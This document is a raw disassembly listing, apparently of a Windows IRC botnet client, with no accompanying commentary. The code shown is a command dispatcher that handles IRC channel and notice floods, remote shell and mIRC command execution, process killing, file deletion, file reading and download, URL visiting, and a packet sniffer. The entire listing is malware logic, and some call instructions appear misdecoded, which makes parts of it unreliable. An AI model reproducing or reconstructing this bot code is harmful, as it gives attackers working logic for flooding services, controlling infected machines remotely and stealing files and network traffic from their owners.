		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B534
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B530
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B518
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B504
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA60 ; " "
		push	offset dword_42B52C
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		call	near ptr 2680D52h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B494
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B480
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B47C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 2680D52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B454
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B51C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B40C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B40C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D403C


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB03C


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA75C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B37C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B27C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B24C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		call	near ptr 2670603h
		nop
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 267053Bh
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2670E77h
		push	eax
		push	offset dword_42B210
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1D4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B1A8
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B180
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
